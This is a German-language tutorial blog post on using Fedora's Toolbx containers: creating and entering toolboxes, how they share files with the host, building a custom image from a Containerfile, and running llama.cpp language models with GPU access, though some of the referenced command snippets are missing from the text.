Das Kommando toolbox aus dem gleichnamigen Paket wird ohne sudo ausgeführt. In der Minimalvariante erzeugen Sie mit toolbox <name> eine neue Toolbox, die als Basis ein Image Ihrer Host-Distribution verwendet. Wenn Sie also wie ich in diesen Beispielen unter Fedora arbeiten, fragt toolbox beim ersten Aufruf, ob es die Fedora-Toolbox herunterladen soll:
toolbox create test1
Image required to create Toolbx container.
Download registry.fedoraproject.org/fedora-toolbox:43 (356.7MB)? [y/N]: y
Created container: test1
Wenn Sie als Basis eine andere Distribution verwenden möchten, geben Sie den Distributionsnamen und die Versionsnummer in zwei Optionen an:
toolbox create --distro rhel --release 9.7 rhel97
Das Kommando toolbox list gibt einen Überblick, welche Images Sie heruntergeladen haben und welche Toolboxes (in der Podman/Docker-Nomenklatur: welche Container) Sie erzeugt haben:
toolbox list
IMAGE ID IMAGE NAME CREATED
f06fdd638830 registry.access.redhat.com/ubi9/toolbox:9.7 3 days ago
b1cc6a02cef9 registry.fedoraproject.org/fedora-toolbox:43 About an hour ago
CONTAINER ID CONTAINER NAME CREATED STATUS IMAGE NAME
695e17331b4a llama-vulkan-radv 2 days ago exited docker.io/kyuz0/amd-strix-halo-toolboxes:vulkan-radv
dc8fd94977a0 rhel97 22 seconds ago created registry.access.redhat.com/ubi9/toolbox:9.7
dd7d51c65852 test1 18 minutes ago created registry.fedoraproject.org/fedora-toolbox:43
Um eine Toolbox aktiv zu nutzen, aktivieren Sie diese mit toolbox enter. Damit starten Sie im Terminal eine neue Session. Sie erkennen nur am veränderten Prompt, dass Sie sich nun in einer anderen Umgebung befinden. Sie haben weiterhin vollen Zugriff auf Ihr Heimatverzeichnis; die restlichen Verzeichnisse stammen aber überwiegend von Toolbox-Container. Hinter den Kulissen setzt sich der in der Toolbox sichtbare Verzeichnisbaum aus einer vollkommen unübersichtlichen Ansammlung von Dateisystem-Mounts zusammen. findmnt liefert eine über 350 Zeilen lange Auflistung!
Innerhalb einer Fedora-Toolbox können Sie wie üblich mit rpm und dnf Pakete verwalten. Standardmäßig ist nur ein relativ kleines Subset an Paketen installiert.
[kofler@toolbx ~]$ rpm -qa | wc -l
340
Innerhalb der Toolbox können Sie mit sudo administrative Aufgaben erledigen, z.B. sudo dnf install <pname>. Dabei ist kein Passwort erforderlich.
ps ax listet alle Prozesse auf, sowohl die der Toolbox als auch alle anderen des Hostsystems!
Mit exit oder Strg+D verlassen Sie die Toolbox. Sie können Sie später mit toolbox enter <name> wieder reaktivieren. Alle zuvor durchgeführten Änderungen gelten weiterhin. (Hinter den Kulissen verwendet das Toolbx-Projekt einen Podman-Container und speichert Toolbox-lokalen Änderungen in einem Overlay-Dateisystem.)
Bei ersten Experimenten mit Toolbx ist mitunter schwer nachzuvollziehen, welche Dateien/Einstellungen Toolbox-lokal sind und welche vom Host übernommen werden. Beispielsweise ist /etc/passwd eine Toolbox-lokale Datei. Allerdings wurden beim Erzeugen dieser Datei die Einstellungen Ihres lokalen Accounts von der Host-weiten Datei /etc/passwd übernommen. Wenn Sie also auf Host-Ebene Fish als Shell verwenden, ist /bin/fish auch in der Toolbox-lokalen passwd-Datei enthalten. Das ist insofern problematisch, als im Standard-Image für Fedora und RHEL zwar die Bash enthalten ist, nicht aber die Fish. In diesem Fall erscheint beim Start der Toolbox eine Fehlermeldung, die Bash wird als Fallback verwendet:
toolbox enter test1
bash: Zeile 1: /bin/fish: Datei oder Verzeichnis nicht gefunden
Error: command /bin/fish not found in container test1
Using /bin/bash instead.
Es spricht aber natürlich nichts dagegen, die Fish zu installieren:
[kofler@toolbx ~]$ sudo dnf install fish
Auf Host-Ebene liefern die Kommandos podman ps -a und podman images sowohl herkömmliche Podman-Container und -Images als auch Toolboxes. Aus Podman-Sicht gibt es keinen Unterschied. Der Unterschied zwischen einem Podman-Container und einer Toolbox ergibt sich erst durch die Ausführung (bei Podman mit sehr strenger Isolierung zwischen Container und Host, bei Toolbox hingegen ohne diese Isolierung).
Eigene Toolboxes erzeugen
Eigene Toolboxes richten Sie ein wie eigene Podman-Images. Die Ausgangsbasis ist ein Containerfile, das die gleiche Syntax wie ein Dockerfile hat:
# Datei my-directory/Containerfile
FROM registry.fedoraproject.org/fedora-toolbox:43
# Add metadata labels
ARG NAME=my-toolbox
ARG VERSION=43
LABEL com.github.containers.toolbox="true" \
name="$NAME" \
version="$VERSION" \
usage="This image is meant to be used with the toolbox(1) command" \
summary="Custom Fedora Toolbx with joe and fish"
# Install your software
RUN dnf --assumeyes install \
fish \
joe
# Clean up
RUN dnf clean all
Mit podman build erzeugen Sie das entsprechende lokale Image:
cd my-directory
podman build --squash --tag localhost/my-dev-toolbox:43 .
Jetzt können Sie auf dieser Basis eine eigene Toolbox einrichten:
toolbox create --image localhost/my-toolbox:43 test2
toolbox enter test2
KI-Sprachmodelle mit Toolbx ausführen
Das Toolbx-Projekt bietet eine großartige Basis, um GPU-Bibliotheken und KI-Programme auszuprobieren, ohne die erforderlichen Bibliotheken auf Systemebene zu installieren. Eine ganze Sammlung von KI-Toolboxes zum Test diverser Software-Umgebungen für llama.cpp finden Sie auf GitHub, beispielsweise hier:
toolbox create erzeugt eine Toolbox mit dem Namen llama-vulkan-radv auf Basis des Images vulkan-radv, das der Entwickler kyuz0 im Docker Hub hinterlegt hat. Das alleinstehende Kürzel -- trennt die toolbox-Optionen von denen für Podman/Docker. Die folgenden drei Optionen sind erforderlich, um der Toolbox direkten Zugriff auf das Device der GPU zu geben.
Mit toolbox enter starten Sie die Toolbox. Innerhalb der Toolbox steht das Kommando llama-cli zur Verfügung. In einem ersten Schritt können Sie testen, ob diese Bibliothek zur Ausführung von Sprachmodellen eine GPU findet.
Wenn Sie auf Ihrem Rechner noch keine Sprachmodelle heruntergeladen haben, finden Sie geeignete Modelle unter https://huggingface.co. Ich habe stattdessen im folgenden Kommando ein Sprachmodell ausgeführt, das ich zuvor in LM Studio heruntergeladen haben. Wie gesagt: In der Toolbox haben Sie vollen Zugriff auf alle Dateien in Ihrem Home-Verzeichnis!
Dabei gibt -c die maximale Kontextgröße an. -ngl bestimmt die Anzahl der Layer, die von der GPU verarbeitet werden sollen (alle). -fa 1 aktiviert Flash Attention. Das ist eine Grundvoraussetzung für eine effiziente Ausführung moderner Modelle. --no-mmap bewirkt, dass das ganze Modell zuerst in den Arbeitsspeicher geladen wird. (Die Alternative wären ein Memory-Mapping der Datei.) Der Server kann auf der Adresse localhost:8080 über eine Weboberfläche bedient werden.
Weboberfläche zu llama.cpp. Dieses Programm wird in einer Toolbox ausgeführt.
Anstatt erste Experimente in der Weboberfläche durchzuführen, können Sie mit dem folgenden Kommando einen einfachen Benchmarktest ausführen. Die pp-Ergebnisse beziehen sich auf das Prompt Processing, also die Verarbeitung des Prompts zu Input Token. tg bezeichnet die Token Generation, also die Produktion der Antwort.
Seit Version 137 gibt es im Firefox die Option, einen KI-Chatbot zu etwas zu befragen. Wen diese Option stört, kann diese in den erweiterten Einstellungen wie folgt deaktivieren: Startet euren Firefox, gebt in der...